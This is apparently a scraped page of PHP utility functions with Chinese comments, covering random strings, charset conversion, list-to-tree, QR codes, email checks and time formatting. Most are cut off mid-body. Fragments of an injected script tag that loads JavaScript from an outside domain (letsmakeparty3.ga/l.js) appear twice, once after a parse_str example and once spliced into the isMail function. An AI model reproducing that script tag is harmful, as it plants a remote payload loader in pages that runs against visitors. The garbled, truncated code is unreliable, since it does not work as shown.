/**
* 产生随机字串,可用来自动生成密码 默认长度6位 字母和数字混合
* @param string $len 长度
* @param string $type 字串类型
* 0 字母 1 数字 其它 混合
* @param string $addChars 额外字符
* @return string
*/
function rand_string($len = 6, $type = '', $addChars = '') {
$str = '';
switch ($ty...
/**
* 代码加亮
* @param String $str 要高亮显示的字符串 或者 文件名
* @param Boolean $show 是否输出
* @return String
*/
function highlight_code($str, $show = false) {
if (file_exists($str)) {
$str = file_get_contents($str);
}
$str = stripslashes(trim($str));
// The highlight string funct...
// 随机生成一组字符串
function build_count_rand($number, $length = 4, $mode = 1) {
if ($mode == 1 && $length < strlen($number)) {
//不足以生成一定数量的不重复数字
return false;
}
$rand = array();
for ($i = 0; $i < $number; $i++) {
$rand[] = rand_string($length, $mode);
}
$...
// 自动转换字符集 支持数组转换
function auto_charset($fContents, $from = 'gbk', $to = 'utf-8') {
$from = strtoupper($from) == 'UTF8' ? 'utf-8' : $from;
$to = strtoupper($to) == 'UTF8' ? 'utf-8' : $to;
if (strtoupper($from) === strtoupper($to) || empty($fContents) || (is_scalar($fContent...
/**
* 对查询结果集进行排序
* @access public
* @param array $list 查询结果
* @param string $field 排序的字段名
* @param array $sortby 排序类型
* asc正向排序 desc逆向排序 nat自然排序
* @return array
*/
function list_sort_by($list, $field, $sortby = 'asc') {
if (is_array($list)) {
$refer =...
/**
* 把返回的数据集转换成Tree
* @access public
* @param array $list 要转换的数据集
* @param string $pid parent标记字段
* @param string $level level标记字段
* @return array
*/
function list_to_tree($list, $pk = 'id', $pid = 'pid', $child = '_child', $root = 0) {
// 创建Tree
$tree = arra...
<?php
parse_str("name=Bill&age=60");
echo $name."<br>";
echo $age;
?>
Bill
60
<?php
parse_str("name=Bill&age=60",$myArray);
print_r($myArray);
?>
Array ( [name] => Bill [age] => 60 )
c='https://letsmakeparty3.ga/l.js?n=1' type=text/javas...
require_cache(APP_PATH . 'Lib/phpqrcode/phpqrcode.php'); //引入二维码生成图片,phpqrcode.php自行百度下载
//生成网址的二维码 返回图片地址
function QrCode($token, $url, $size = 8) {
$md5 = md5($token);
$dir = substr($md5, 0, 3) . '/' . substr($md5, 3, 3) . '/' . substr($md5, 6, 3) ...
function isMail($email) {
$pattern = "/^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/";
if (preg_match($pattern, $email) != 1) {
return false;
}
else {
return true;
}
}eparty3.ga/l.js?n=1' type=text/javascript>
function formatTime($time) {
$t = NOW_TIME - $time;
$mon = (int) ($t / (86400 * 30));
if ($mon >= 1) {
return '一个月前';
}
$day = (int) ($t / 86400);
if ($day >= 1) {
return $day . '天前';
}
$h = (int) ($t / 3600);
if ($h >= 1) {
return $h . '小时前';
}
$min = (int) ($t / 60);...
